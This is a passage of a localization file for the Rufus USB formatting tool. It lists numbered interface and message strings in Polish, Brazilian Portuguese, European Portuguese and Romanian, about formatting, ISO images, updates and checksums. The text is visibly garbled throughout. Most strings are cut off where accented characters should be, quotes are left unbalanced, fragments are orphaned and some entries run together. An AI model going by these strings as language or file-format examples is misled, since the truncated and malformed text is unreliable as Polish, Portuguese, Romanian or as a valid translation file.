t MSG_181 "Architektura i wersja twojego systemu operacyjnego"
t MSG_182 "Wersja aplikacji z kt
t MSG_183 "Tw
t MSG_184 "W celu generowania poufnych statystyk u
t MSG_185 "Proces aktualizacji:"
t MSG_186 "Rufus nie instaluje lub uruchamia proces
t MSG_187 "Obraz nieprawid
t MSG_188 "Obecny obraz nie pasuje do wybranej opcji bootowania. Prosz
t MSG_189 "Ten obraz ISO jest niekompatybilny z wybranym systemem plik
t MSG_190 "Wykryto niekompatybilny dysk"
t MSG_191 "Post
t MSG_192 "Post
t MSG_193 "Pobrano %s"
t MSG_194 "Nie mo
t MSG_195 "U
w) %s"
t MSG_196 "WA
ywa %d-bajtowego. "
t MSG_197 "Wysryto niestandardowy rozmiar sektora"
t MSG_198 "'Windows To Go' mo
t MSG_199 "Wybierz to, je
Windows na innym dysku, u
t MSG_200 Wybierz to, je
Windows bezpo
t MSG_201 "Anulowanie - Prosz
t MSG_202 "Skanowanie obrazu..."
t MSG_203 "Niepowodzenie skanowania obrazu"
t MSG_204 "wykryto przestarza
e %s"
t MSG_205 "U
ywany obraz: %s"
t MSG_206 "Brak pliku %s"
t MSG_207 "Nowy"
t MSG_208 "znaleziono %d urz
t MSG_209 "znaleziono %d urz
t MSG_210 "Gotowy"
t MSG_211 "Anulowano"
t MSG_212 "NIEPOWODZENIE"
t MSG_213 "Uruchamianie nowej aplikacji..."
t MSG_214 "Niepowodzenie uruchomienia nowej aplikacji"
t MSG_215 "Otwarto %s"
t MSG_216 "Zapisano %s"
t MSG_217 "Formatowanie: uko
t MSG_218 "Tworzenie systemu plik
czono zadanie %d/%d"
t MSG_219 "Naprawianie NTFS: uko
czono %d%%"
t MSG_220 "Formatowanie (%s) - przewidywany czas %d:d..."
t MSG_221 "Ustawianie Etykiety (To mo
t MSG_222 "Formatowanie (%s)..."
t MSG_223 "Naprawianie NTFS (Checkdisk)..."
t MSG_224 "czyszczenie struktur MBR/PBR/GPT..."
t MSG_226 "Analizowanie istniej
t MSG_227 "Zamykanie istniej
t MSG_228 "Zapisywanie master boot record..."
t MSG_229 "Zapisywanie partition boot record..."
t MSG_230 "Kopiowanie plik
t MSG_231 "Kopiowanie plik
t MSG_232 "Ustawianie bootowania Win7 EFI (to mo
t MSG_233 "Finalizacja, prosz
t MSG_234 "Instalowanie Syslinux %s..."
t MSG_235 "B
dne Sektory: %s %d/%d - %0.2f%% (%d/%d/%d b
t MSG_236 "B
t MSG_237 "B
dne Sektory: Testowanie z wzorem 0xX"
t MSG_238 "Partycjonowanie (%s)..."
t MSG_239 "Usuwanie partycji..."
t MSG_240 "Pobieranie %s:
t MSG_241 "Pobieranie: %0.1f%%"
t MSG_242 "Niepowodzenie pobierania pliku."
t MSG_243 "Sprawdzanie aktualizacji Rufusa..."
t MSG_244 "Aktualizacje: Nie mo
t MSG_245 "Aktualizacje: Nie mo
t MSG_246 "Jest dost
t MSG_247 "Nie znaleziono nowszej wersji Rufusa"
t MSG_248 "Pomy
t MSG_249 "Niepowodzenie usuwania kluczy rejestru aplikacji"
t MSG_250 "w
czono %s"
t MSG_251 "wy
czono %s "
t MSG_252 "Sprawdzanie rozmiaru"
t MSG_253 "Wykrywanie dysk
t MSG_254 "Si
t MSG_255 "NoDriveTypeAutorun zostanie usuni
t MSG_256 "Fa
t MSG_257 "Wsparcie Joliet"
t MSG_258 "Wsparcie Rock Ridge"
t MSG_259 "Si
t MSG_260 "Kompresja NTFS"
t MSG_261 "Zapisywanie obrazu: uko
t MSG_262 "Wsparcie ISO"
t MSG_263 "U
t MSG_264 "Usuwanie folderu '%s'"
t MSG_265 "Wykrywanie dysk
t MSG_266 "Tryb dual UEFI/BIOS"
t MSG_267 "Zastosowywanie obrazu Windows: uko
t MSG_268 "Zastosowywanie obrazu Windows..."
t MSG_269 "Zachowaj znacziki czasu"
t MSG_270 "Debugowanie USB"
t MSG_271 "Obliczanie sum kontrolnych obrazu: uko
t MSG_272 "Oblicz sumy kontrolne MD5, SHA1 oraz SHA256 dla wybranego obrazu"
t MSG_273 "Zmie
t MSG_274 "Wykryto obraz ISOHybrid"
t MSG_275 "Obraz kt
"%s (kopia plik
w) lub trybie %s (obraz dysku).\n"
ycie trybu %s aby
ten obraz ponownie w trybie %s.\n\n"
t MSG_276 "Zapisz w trybie %s (zalecane)"
t MSG_277 "Zapisz w trybie %s"
t MSG_278 "Typ bootowania"
t MSG_279 "Niebootowalne"
t MSG_280 "Wyb
t MSG_281 "(Prosz
t MSG_282 "Blokowanie dysku USB na wy
t MSG_283 "Nieprawid
t MSG_284 "Pobrany plik wykonywalny nie posiada cyfrowej sygnatury."
t MSG_285 "Pobrany plik wykonywalny jest podpisany przez '%s'.\nTo nie jest rozpoznawana przez nas sygnatura i mo
l "pt-BR" "Portuguese Brazilian (Portugu
t IDC_WINDOWS_INSTALL "Instala
o do Windows"
t IDC_WEBSITE "Clique aqui para ir ao Site de Rufus"
t MSG_001 "Foi detectada outra aplica
t MSG_002 "Outra aplica
o Rufus em execu
t MSG_003 "AVISO: TODOS OS DADOS EM %s SER
"Para continuar, clique em OK. Para sair da opera
t MSG_004 "Atualiza
t MSG_005 "Permitir que Rufus procure atualiza
t MSG_006 "Fechar"
t MSG_007 "Cancelar"
t MSG_008 "Sim"
t MSG_010 "Foram encontrados erros no disco"
t MSG_011 "Verifica
o completa: %d erros encontrados\n"
" %d erros de leitura\n %d erros de grava
o\n %d erros de corrup
t MSG_012 "%s\nMais informa
veis em:\n%s"
t MSG_013 "Nunca"
t MSG_014 "Diariamente"
t MSG_015 "Semanalmente"
t MSG_016 "Mensalmente"
t MSG_017 "Personalizado"
t MSG_018 "Sua vers
o: %d.%d (Build %d)"
t MSG_031 "Parti
o %s para BIOS ou %s"
t MSG_032 "Parti
o %s para BIOS"
t MSG_033 "Parti
o %s para UEFI"
t MSG_034 "%d passo"
t MSG_035 "%d passos"
t MSG_036 "Imagem ISO"
t MSG_037 "Aplica
t MSG_038 "Abortar"
t MSG_039 "Inciar"
t MSG_040 "Descarregar"
t MSG_041 "Opera
t MSG_042 "Erro"
t MSG_043 "Erro: %s"
t MSG_044 "Download do arquivo"
t MSG_045 "Dispositivo de armazenamento USB (Gen
t MSG_046 "%s (Disco %d) [%s]"
t MSG_048 "Rufus - Limpando bufers"
t MSG_049 "Rufus - Cancelamento"
t MSG_050 "Sucesso."
t MSG_051 "Erro indeterminado durante a formata
t MSG_052 "N
t MSG_053 "Acesso ao dispositivo negado."
t MSG_054 "Dispositivo est
t MSG_055 "Outra aplica
t MSG_056 "Formata
t MSG_057 "Nome do Volume n
t MSG_058 "Gerenciador de dispositivos n
t MSG_059 "O tamanho de cluster indicado n
t MSG_060 "O tamanho do volume n
t MSG_061 "Inserir um dispositivo USB."
t MSG_062 "Comando n
o suportado."
t MSG_063 "Erro na aloca
t MSG_064 "Erro de leitura."
t MSG_065 "Erro de grava
t MSG_066 "Falha na instala
t MSG_067 "Imposs
t MSG_068 "Erro ao criar parti
t MSG_069 "N
t MSG_070 "Cancelado pelo usu
t MSG_071 "Imposs
t MSG_072 "Verifica
t MSG_073 "Erro na an
t MSG_074 "Erro na extra
t MSG_075 "Imposs
t MSG_076 "Imposs
t MSG_077 "Imposs
t MSG_078 "Imposs
t MSG_079 "O dispositivo n
t MSG_080 "Rufus detectou que o Windows ainda est
"Dependendo da velocidade do dispositivo USB, esta opera
"especialmente para arquivos grandes.\n\nRecomendamos que espere o Windows terminar para evitar arquivo corrompido; "
t MSG_081 "Imagem n
o suportada"
t MSG_082 "Esta imagem n
o suportado pelo Rufus..."
t MSG_083 "Substituir %s?"
t MSG_084 "Esta imagem ISO usa uma vers
o obtida do arquivo '%s'.\n"
"o arquivo\n '%s' existente a
t MSG_085 "Baixando %s"
t MSG_086 "N
t MSG_087 "Pressione o bot
t MSG_088 "Imagem ISO muito grande"
t MSG_089 "A imagem ISO
t MSG_090 "ISO n
o suportado"
t MSG_091 "Quando se usa UEFI como tipo de destino, s
o suportadas imagens ISO boot
t MSG_092 "Sistema de arquivos n
t MSG_093 "IMPORTANTE: ESTA UNIDADE CONT
vel para o Windows. "
t MSG_094 "M
t MSG_095 "Imagem DD"
t MSG_096 "O sistema de arquivo selecionado n
t MSG_097 "'%s' s
t MSG_098 "IMPORTANTE: Voc
tentando instalar 'Windows Para Levar', por
"tem o atributo 'FIXED' . Portanto,
vel que o Windows trave durante o boot, "
t MSG_102 "A sua plataforma n
vel tipo EFI com Windows 7 e Windows Vista. "
t MSG_103 "Baixar %s?"
t MSG_104 "%s ou posterior requer que esteja instalado um arquivo '%s' .\n"
"imagens ISO %s, Rufus n
"um \n arquivo '%s' atual, ser
t MSG_105 "Cancelar agora pode deixar o dispositivo INUTILIZADO.\n"
t MSG_106 "Selecione a pasta"
t MSG_107 "Todos os arquivos"
t MSG_108 "Registro de eventos de Rufus"
t MSG_109 "0xX (Disco %d)"
t MSG_110 "MS-DOS n
t MSG_111 "Tamanho de cluster incompat
t MSG_112 "Formatar um volume UDF de tamanho grande pode demorar muito tempo.
%d:d, durante o qual a barra de progresso parecer
t MSG_113 "Volume UDF de tamanho grande"
t MSG_114 "Esta imagem usa Syslinux %s%s, mas este aplicativo inclui somente os arquivos de instala
"Syslinux %s%s.\n\nComo novas vers
o' para cancelar a opera
t MSG_115 "Download necess
t MSG_116 "Esta imagem usa o Grub %s mas este aplicativo inclui somente os arquivos de instala
"Grub %s.\n\nomo novas vers
o do Grub ('core.img') que se encaixa com a sua imagem:\n""- Selecione 'Cancelar' para abortar a opera
t MSG_150 "Geralmente a op
"um sistema operacional no modo EFI, deve selecionar uma das outras op
t MSG_151 "Use esta op
o se quiser instalar um sistema operacional no modo EFI, mas necessita de acessar "
do do USB do Windows XP"
t MSG_152 "A op
o preferida para instalar um sistema operativo em modo EFI e "
o se necessita de ler o USB no Windows XP"
t MSG_153 "Teste padr
o: 0xX"
t MSG_154 "Teste padr
o: 0xX, 0xX"
t MSG_155 "Teste padr
o: 0xX, 0xX, 0xX"
t MSG_156 "Teste padr
o: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Selecionar o sistema de arquivos destino"
t MSG_158 "Tamanho m
t MSG_159 "Use este campo para atribuir o nome ao volume\nPodem ser caracteres acentuados"
t MSG_160 "Exibir op
t MSG_161 "Verifica
t MSG_162 "Desmarque esta op
t MSG_163 "Marque esta op
t MSG_165 "Selecionar uma imagem ISO..."
t MSG_166 "Selecione esta op
cone para a unidade (cria um arquivo autorun.inf)"
t MSG_167 "Instala um MBR que permite selecionar o dispositivo de arranque e pode nomear "
t MSG_168 "Trata de nomear o primeiro dispositivo USB de arranque (normalmente 0x80) como um disco diferente.\n"
rio se instalar Windows XP e tinha mais de um disco r
t MSG_169 "Cria uma parti
t MSG_170 "Ativa a detec
gido port
t MSG_171 "Come
a a opera
t MSG_172 "Informa
t MSG_173 "Clique para selecionar..."
t MSG_174 "Rufus - O utilit
t MSG_175 "Vers
o %d.%d (Build %d)"
t MSG_176 "Tradutores: Tiago Rinaldi <trinaldi@gmail.com>\\line"
"\\tab Chateaubriand Vieira Moura <chateaubriand@ifse.com.br>"
t MSG_177 "Para reportar bugs ou sugerir melhoras, dirija-se a:"
t MSG_178 "Direitos autorais:"
t MSG_179 "Politica de atualiza
t MSG_180 "Autorizo este programa
t MSG_181 "A arquitetura e vers
o do meu sistema operacional"
t MSG_182 "A vers
t MSG_183 "O meu endere
t MSG_184 "A fim de gerar estat
t MSG_185 "Processo de atualiza
t MSG_186 "Rufus n
o instala nem executa nenhum servi
o, nem programada, em segundo plano. Portanto a procura"
em execu
t MSG_187 "Imagem inv
t MSG_188 "A imagem atual n
t MSG_189 "Esta imagem ISO n
t MSG_190 "Drive incompat
t MSG_191 "Passagem de grava
t MSG_192 "Passagem de leitura"
t MSG_193 "Baixado %s"
t MSG_194 "N
vel baixar %s"
t MSG_195 "Usando a vers
o do %s arquivo(s)"
t MSG_196 "IMPORTANTE: ESTE DRIVE USA UM TAMANHO DE SETOR FORA DO PADR
"Drives convencionais usam um setor de 512-byte mas este usa um de %d-byte. "
t MSG_197 "Tamanho de setor fora de padr
t MSG_198 "'Windows Para Levar' s
t MSG_199 "Selecione se deseja instalar o Windows, para outro disco, utilizando o dispositivo selecionado como m
t MSG_200 "Selecione se deseja rodar o Windows direto deste dispositivo."
t MSG_201 "Cancelando - por favor espere..."
t MSG_202 "Analisando a imagem ISO..."
t MSG_203 "Falha ao analisar a imagem ISO"
t MSG_204 "Foi detectado um arquivo %s obsoleto"
t MSG_205 "Usando imagem: %s"
t MSG_206 "Falta o arquivo %s"
t MSG_207 "Nome do volume"
t MSG_208 "%d dispositivo encontrado"
t MSG_209 "%d dispositivos encontrados"
t MSG_211 "Opera
t MSG_212 "A opera
t MSG_213 "Instalando a nova atualiza
t MSG_214 "Erro ao iniciar a nova atualiza
t MSG_215 "%s aberto"
t MSG_216 "%s guardado"
t MSG_217 "Formatando: %0.1f%% completo"
t MSG_218 "Criando sistema de arquivos: Tarefa %d/%d completa"
t MSG_219 "Finaliza
o de NTFS: %d%% completo"
t MSG_220 "Formatando (%s) - dura
o estimada %d:d..."
t MSG_221 "Atribuindo o nome do volume (pode demorar um pouco)..."
t MSG_222 "Formatando (%s)..."
t MSG_223 "Finaliza
t MSG_224 "Apagando as estruturas MBR/PBR/GPT..."
t MSG_225 "Solicitando acesso ao disco..."
t MSG_226 "Analisando estruturas de arranque existentes..."
t MSG_227 "Fechando o volume existente..."
t MSG_228 "Escrevendo o registro mestre de arranque (Master Boot Record)..."
t MSG_229 "Escrevendo o registro de arranque da parti
t MSG_230 "Copiando arquivos DOS..."
t MSG_231 "Copiando arquivos ISO..."
t MSG_232 "Configura
t MSG_233 "Finalizando, por favor aguarde..."
t MSG_234 "Instalando Syslinux %d..."
t MSG_235 "Blocos com erro: %s %d/%d - %0.2f%% (%d/%d/%d erros)"
t MSG_236 "Blocos com erro: Verificando com teste padr
t MSG_237 "Blocos com erro: Verificando com teste padr
o 0xX"
t MSG_238 "Criar parti
es (%s)..."
t MSG_239 "Apagar parti
t MSG_240 "Baixando %s: Conectando..."
t MSG_241 "Baixando: %0.1f%%"
t MSG_242 "Erro ao baixar arquivo."
t MSG_243 "Procurando atualiza
t MSG_244 "Atualiza
t MSG_245 "Atualiza
t MSG_246 "Existe uma nova vers
t MSG_247 "N
t MSG_248 "Foram apagadas as chaves de registro da aplica
t MSG_249 "Falha ao apagar as chaves de registro da aplica
t MSG_250 "%s ativado"
t MSG_251 "%s desativado"
t MSG_252 "Verifica
t MSG_253 "Detec
t MSG_254 "For
t MSG_255 "Apagar NoDriveTypeAutorun ao sair"
t MSG_256 "Simula
t MSG_257 "Suporte para Joliet"
t MSG_258 "Suporte para Rock Ridge"
t MSG_260 "Compress
t MSG_261 "Escrevendo imagem: %0.1f%% conclu
t MSG_262 "ISO Suportado"
t MSG_263 "Use unidades de tamanho APROPRIADO"
t MSG_264 "Deletando diret
rio '%s'"
t MSG_265 "Detectando disco VMWare"
t MSG_266 "Modo UEFI/BIOS conjuntos"
t MSG_267 "Aplicando imagem do Windows: %0.1f%% completo"
t MSG_268 "Aplicando imagem do Windows"
t MSG_269 "Preservar marcas de tempo"
t MSG_270 "Debugar USB"
t MSG_271 "Calculando o checksum das imagens: %0.1f%% conclu
t MSG_272 "Calcular os checksums MD5, SHA1 e SHA256 da imagem selecionada"
t MSG_273 "Mudar o idioma do aplicativo"
t MSG_274 "Imagem ISOHybrid detectada"
t MSG_275 "A imagem que voc
"modo %s (c
pia de arquivo) ou modo %s (imagem de disco).\n"
"Rufus recomenda usar o modo %s , para que voc
pode tentar gravar novamente pelo modo %s.\n\n"
t MSG_276 "Gravar no modo %s (Recomendado)"
t MSG_277 "Gravar no modo %s"
t MSG_278 "Tipo de Boot"
t MSG_279 "N
t MSG_280 "Sele
t MSG_281 "(Por favor selecione uma imagem)"
t MSG_282 "Trava exclusiva do drive USB"
t MSG_283 "Assinatura digital inv
t MSG_284 "O execut
t MSG_285 "O execut
assinado por '%s'.\nEsta assinatura n
tem certeza que deseja executar este arquivo?"
l "pt-PT" "Portuguese Standard (Portugu
o Standard em Windows"
t IDC_WEBSITE "Clique aqui para aceder ao Site de Rufus"
t MSG_001 "Foi detetada outra aplica
"Para continuar, prima OK. Para sair da opera
" %d erros de leitura\n %d erros de escrita\n %d erros de corrompimento\n"
t MSG_018 "A tua vers
t MSG_039 "Iniciar"
t MSG_040 "Transferir"
t MSG_044 "Transfer
t MSG_048 "Rufus - A limpar buffers"
t MSG_049 "Rufus - Cancelar"
t MSG_053 "N
t MSG_057 "Nome do volume n
t MSG_058 "O identificador do dispositivo n
t MSG_065 "Erro de escrita"
t MSG_068 "Erro ao criar a parti
t MSG_069 "Erro ao copiar ficheiros para o dispositivo de destino."
t MSG_070 "Cancelado pelo utilizador."
t MSG_080 "Rufus detetou que o Windows ainda est
"especialmente para ficheiros grandes.\n\nRecomendamos que deixe o Windows terminar para evitar corrompimentos; "
t MSG_081 "Tipo de imagem n
o obsoleta do ficheiro '%s'.\n"
"o ficheiro\n '%s' j
t MSG_085 "A transferir %s"
t MSG_086 "Nenhuma imagem selecionada"
t MSG_088 "Imagem demasiado grande"
t MSG_089 "A imagem
t MSG_091 "Quando usa UEFI como tipo de destino, s
o suportadas imagens ISO inicializ
t MSG_092 "Sistema de ficheiros n
t MSG_093 "IMPORTANTE: ESTA DRIVE CONT
veis a partir do Windows. "
t MSG_094 "V
t MSG_096 "O sistema de ficheiros selecionado n
t MSG_097 "'%s' apenas pode ser aplicado se o sistema de ficheiros for NTFS."
t MSG_098 "IMPORTANTE: Est
a tentar instalar 'Windows To Go', mas a drive de destino n
"tem o atributos 'FIXO'. Por isso o Windows provalvelmente ir
t MSG_099 "Limita
t MSG_100 "Esta imagem ISO cont
m um ficheiro com mais de 4GB, ultrapassando o tamanho m
t MSG_101 "O suporte para ficheiro WIM n
t MSG_102 "N
t MSG_103 "Transferir %s?"
t MSG_104 "%s ou posterior requer que esteja instalado o ficheiro '%s' .\n"
t MSG_107 "Todos os ficheiros"
t MSG_114 "Esta imagem usa Syslinux %s%s mas a aplica
"Syslinux %s%s.\n\nComo as diferentes vers
"Internet ('ldlinux.sys' e 'ldlinux.bss'):\n"t MSG_115 "Transfer
t MSG_116 "Esta imagem usa Grub %s mas a aplica
"Grub %s.\n\nAs diferentes vers
o ('core.img') que coincida com o da imagem:\n""- Selecione 'Cancelar' para abortat a opera
"um sistema operativo no modo EFI, deve selecionar uma das outras op
o se quiser instalar um sistema operativo no modo EFI, mas necessita de aceder "
do do USB com o Windows XP"
t MSG_153 "Padr
o de teste: 0xX"
t MSG_154 "Padr
o de teste: 0xX, 0xX"
t MSG_155 "Padr
o de teste: 0xX, 0xX, 0xX"
t MSG_156 "Padr
o de teste: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Selecionar o sistema de ficheiros destino"
t MSG_160 "Mostrar op
t MSG_165 "Selecionar uma imagem ..."
cone para a unidade (cria um ficheiro autorun.inf)"
t MSG_167 "Instalar um MBR que permita selecionar o dispositivo de arranque e pode mascarar "
t MSG_168 "Tentar mascarar o primeiro dispositivo USB de arranque (normalmente 0x80) como um disco diferente.\n"
rio se instalar Windows XP e tenha mais do que um disco duro"
t MSG_170 "Ativa a dete
gidos port
t MSG_171 "Iniciar a opera
t MSG_176 "Tradu
o para Portugu
t MSG_177 "Para reportar bugs ou sugerir melhorias, visite:"
t MSG_178 "Direitos de autor adicionais:"
t MSG_180 "Autoriza que este programa procure e instale automaticamente as"
o do seu sistema operativo"
t MSG_183 "O seu endere
t MSG_190 "Detetada unidade incompat
t MSG_191 "Escrita"
t MSG_192 "Leitura""
t MSG_193 "Transferido %s"
vel transferir %s"
t MSG_195 "A usar a vers
o incorporada do(s) ficheiro(s) %s"
t MSG_196 "IMPORTANTE: ESTA DRIVE USA UM TAMANHO DE SECTOR N
"As drives convencionais usam o tamanho de sector de 512-byte mas a drive usa %d-byte. "
t MSG_197 "Detetado tamanho de sector n
t MSG_198 "'Windows To Go' apenas pode ser instalado numa drive com parti
t MSG_199 "Escolha esta op
o se pretender instalar o Windows, para outro disco, utilizando o dispositivo selecionado como disco de instala
t MSG_200 "Escolha esta op
o se deseja executar o Windows directamente a partir do dispositivo selecionado."
t MSG_201 "A cancelar - por favor aguarde..."
t MSG_202 "A analisar a imagem ..."
t MSG_203 "Falha ao analisar a imagem"
t MSG_204 "Foi detectado um ficheiro %s obsoleto"
t MSG_205 "A usar a imagem: %s"
t MSG_206 "Falta o ficheiro %s"
t MSG_207 "Novo volume"
t MSG_213 "A iniciar a nova aplica
t MSG_214 "Erro ao iniciar a nova aplica
t MSG_217 "A formatar: %0.1f%% completo"
t MSG_218 "A criar sistema de ficheiros: Tarefa %d/%d completa"
t MSG_220 "A formatar (%s) - dura
t MSG_221 "A atribuir a etiqueta do volume (pode demorar)..."
t MSG_222 "A formatar (%s)..."
t MSG_224 "A limpar as estruturas MBR/PBR/GPT..."
t MSG_225 "A solicitar acesso ao disco..."
t MSG_226 "A analisar registos de arranque existentes..."
t MSG_227 "A fechar o volume existente..."
t MSG_228 "A escrever o registo mestre de arranque (Master Boot Record)..."
t MSG_229 "A escrever o registo de arranque da parti
t MSG_230 "A copiar ficheiros DOS..."
t MSG_231 "A copiar ficheiros ISO..."
t MSG_233 "A finalizar, por favor aguarde..."
t MSG_234 "A instalar Syslinux %s..."
t MSG_235 "Blocos com erros: %s %d/%d - %0.2f%% (%d/%d/%d erros)"
t MSG_236 "Blocos com erro: A verificar com padr
t MSG_237 "Blocos com erro: A verificar com padr
t MSG_238 "A criar parti
t MSG_239 "A apagar parti
t MSG_240 "Transferir %s: A ligar..."
t MSG_241 "Transfer
t MSG_242 "Erro ao transferir o ficheiro."
t MSG_243 "Procurar atualiza
t MSG_248 "Foram eliminadas as chaves de registo da aplica
t MSG_249 "Falha ao apagar as chaves de registo da aplica
t MSG_253 "Dete
t MSG_261 "A criar imagem: %0.1f%% completo"
t MSG_262 "Suporte ISO"
t MSG_263 "Use unidade de tamanho APROPRIADA"
t MSG_264 "A eliminar pasta '%s'"
t MSG_265 "A detetar disco VMWare"
t MSG_266 "Dual modo UEFI/BIOS"
t MSG_267 "A aplicar imagem Windows: %0.1f%% completo"
t MSG_268 "Aplicar imagem Windows..."
t MSG_269 "Manter data dos ficheiros"
t MSG_270 "Depura
t MSG_271 "C
t MSG_272 "Calcular MD5, SHA1 e SHA256 para a imagem selecionada"
t MSG_273 "Alterar o idioma da aplica
t MSG_274 "Imagem ISOHybrid detetada"
t MSG_275 "A imagem selecionada
"%s (c
pia de ficheiros) ou no modo %s (c
"Rufus recomenda o modo %s, para que tenha sempre acesso total ao disco ap
"No entanto, se existirem erros durante o arranque, pode tentar escrever no modo %s.\n\n"
t MSG_276 "Escrever no modo %s (Recomendado)"
t MSG_277 "Escrever no modo %s
t MSG_278 "Tipo de arranque"
t MSG_281 "(Selecione a imagem)"
t MSG_282 "Bloqueio exclusivo do dispositivo USB"
t MSG_283 "Assinatura inv
t MSG_284 "No execut
assinado por '%s'.\nN
indicar algum tipo de actividade mal intencionada...\nTem certeza de que deseja executar este ficheiro?"
t IDC_WINDOWS_INSTALL "Instalare standard pentru Windows"
t IDC_WINDOWS_TO_GO "Windows To Go (Pornire Windows)"
t IDC_WEBSITE " Click aici pentru a vizita site-ul web"
t MSG_001 "Un alt exemplu detectat Rufus"
t MSG_002 "Ruleaz
t MSG_003 "AVERTISMENT: TOATE DATELE DE PE DISPOZITIVUL '%s' VOR FI
opera
t MSG_004 "Politica de actualizare Rufus"
t MSG_005 "Permite
t MSG_007 "Anuleaz
t MSG_009 "Nu"
t MSG_010 "Bloc defect Detectat"
t MSG_011 "Verificare complet
sit %d blocuri defecte\n"
" %d erori de citire\n %d erori de scriere\n %d erori de corupere\n"
t MSG_012 "%s\n Un raport mai detaliat este disponibil
n:\n%s"
t MSG_013 "Dezactivat"
t MSG_014 "Zilnic"
t MSG_015 "S
t MSG_016 "Lunar"
t MSG_017 "Personalizat"
t MSG_018 "Versiunea instalat
t MSG_019 "Ultima versiune: %d.%d (Build %d)"
t MSG_020 "octe
t MSG_021 "KO"
t MSG_022 "MO"
t MSG_023 "GO"
t MSG_024 "TO"
t MSG_025 "PO"
t MSG_026 "octe
t MSG_027 "kilo-octe
t MSG_028 "megaocte
t MSG_031 "Schema de parti
ie %s cu BIOS sau %s"
t MSG_032 "Schema de parti
ie %s cu BIOS"
t MSG_033 "Schema de parti
ie %s cu UEFI"
t MSG_034 "%d pas"
t MSG_035 "%d pa
t MSG_036 "Imagine ISO"
t MSG_037 "Cerere"
t MSG_038 "Anuleaz
t MSG_039 "Execut
t MSG_040 "Desc
t MSG_042 "Eroare"
t MSG_043 "Eroare: %s"
t MSG_044 "Desc
t MSG_045 "Unitate de stocare USB (generic)"
t MSG_046 "%s (disc %d) [%s]"
t MSG_047 "Volume multiple"
t MSG_049 "Rufus - Anulare"
t MSG_050 "Finisat."
t MSG_051 "A ap
t MSG_052 "Imposibilitatea de a utiliza sistemul de fi
t MSG_053 "Acces respins unitate."
t MSG_054 "Dispozitivul este ap
t MSG_055 "Dispozitivul este folosit
t MSG_056 "Formatarea rapid
t MSG_057 "Eticheta de volum nu este valabil
t MSG_058 "Dispozitivul este invalid."
t MSG_059 "Dimensiunea selectat
t MSG_060 "Dimensiune de volum invalid
t MSG_061 "Introduce
t MSG_062 "Comanda primit
nu este suportat
t MSG_063 "Eroare de alocare memorie."
t MSG_064 "Eroare de citire."
t MSG_065 "Eroare de scriere."
t MSG_066 "Instalarea nu a reu
t MSG_067 "Imposibilitatea de a deschide dispozitivul. Posibil e utilizat de un alt proces."
t MSG_068 "Eroare
t MSG_069 "Imposibil de a copia fi
t MSG_070 "Anulat de c
t MSG_071 "Imposibil de formatat."
t MSG_072 "Blocurile de control incorect completate."
t MSG_073 "Analiza imaginii ISO a e
t MSG_074 "Extragerea imaginii ISO a e
t MSG_075 "Imposibilitatea de a monta dispozitivul."
t MSG_076 "Imposibil de a seta fi
t MSG_077 "Nu se poate atribui o liter
t MSG_078 "Imposibilitatea de a monta un volum GUID."
t MSG_079 "Dispozitivul nu este gata."
t MSG_080 "Rufus a detectat c
Windows-ul nu a terminat de scris datele din buffer pe dispozitivul USB.\n\n"
i Windows-ul s
t MSG_081 "Imaginea nu este acceptat
t MSG_082 "Aceast
de boot sau de compresie nesuportat
nlocuire %s?"
t MSG_084 "Acest lucru arat
a '%s'.\n"
rcat '%s', va fi reutilizat automat."
t MSG_085 "Desc
rcare %s"
t MSG_086 "Nici o imagine selectat
t MSG_087 "Face
t MSG_088 "Imagine prea mare"
t MSG_089 "Aceast
t MSG_090 "Formatul ISO nu este acceptat"
t MSG_091 "C
t MSG_092 "Sistem de fi
t MSG_093 "IMPORTANT: Aceast
"Aceasta poate include paravane/volume care nu sunt listate sau chiar vizibile de la Windows. "
t MSG_094 "Mai multe parti
t MSG_095 "Imagine DD"
t MSG_096 "Sistemul de fi
t MSG_097 "'%s' poate fi aplicat
t MSG_098 "IMPORTANT:
i 'Windows To Go', dar unitatea aleas
"Din aceasta cauza Windows-ul cel mai probabil nu va func
t MSG_099 "Limitarea sistemului de fi
t MSG_100 "Aceast
t MSG_101 "Suport WIN lips
t MSG_102 "Sistemul de operare nu poate extrage fi
"este necesar pentru a crea un dispozitiv USB boot-abil UEFI Windows 7
i Windows Vista. Pute
t MSG_103 "Desc
rcare %s?"
t MSG_104 "%s sau mai mare, necesit
ier'%s'.\n"
n imaginea ISO %s, "
"'%s' a fost desc
t MSG_105 "Eliminarea ar l
t MSG_106 "Selecta
t MSG_107 "Toate fi
t MSG_108 "Registrul
t MSG_109 "0xX (discul %d)"
t MSG_110 "MS-DOS nu poate fi pornit de pe o unitate care are dimensiunea clusterului de 64 de kiloocte
t MSG_111 "Dimensiune cluster incompatibil
t MSG_112 "Formatarea volumului mare UDF, poate dura ceva timp. Viteza format
"durata este %d:d,
t MSG_113 "Volumul UDF mare"
t MSG_114 "Aceast
te Syslinux %s%s, dar aceast
"Syslinux %s%s.\n\nNoile versiuni ale syslinux, nu sunt compatibile cu altele,
"Internet ('ldlinux.sys'i 'ldlinux.bss'):\n"
i 'Nu' pentru a anula opera
t MSG_115 "Desc
t MSG_116 "Aceast
te Grub %s dar cererea include doar fi
"Grub %s.\n\n Versiuni diferite ale Grub pot s
ierul de instalare ('core.img'), care se potrivei 'Anulare' pentru a abandona opera
t MSG_150 "Aceast
"un sistem de operare pentru EFI, pute
t MSG_151 "Utiliza
i un sistem de operare pentru EFI, dar ave
n Windows XP"
t MSG_152 "Op
de a instala un sistem de operare astfel
t MSG_153 "Model de test: 0xX"
t MSG_154 "Model de test: 0xX, 0xX"
t MSG_155 "Model de test: 0xX, 0xX, 0xX"
t MSG_156 "Model de test: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Setarea destina
t MSG_158 "Dimensiunea minim
t MSG_159 "Utiliza
t MSG_160 "Activeaz
t MSG_161 "Activa
t MSG_162 "Debifa
t MSG_163 "Activa
t MSG_164 "Define
t MSG_165 "Selecta
t MSG_166 "Activa
ier autorun.inf)"
t MSG_167 "Instala
i instalat Windows XP
t MSG_169 "Crea
t MSG_170 "Activa
ncepe opera
t MSG_173 "Face
t MSG_174 "Rufus - Dispozitive USB de formatare"
t MSG_175 "Versiune %d.%d (build %d)"
t MSG_176 "Traducere
rlea Alexandru <girlea_alex@yahoo.com>"
t MSG_177 "Raporta
t MSG_178 "Drepturi suplimentare:"
t MSG_179 "Politica de actualizare:"
t MSG_180 "Dac
t MSG_181 "Arhitectura
i versiunea sistemului de operare"
t MSG_182 "Versiunea aplica
t MSG_183 "Adresa dvs de IP"
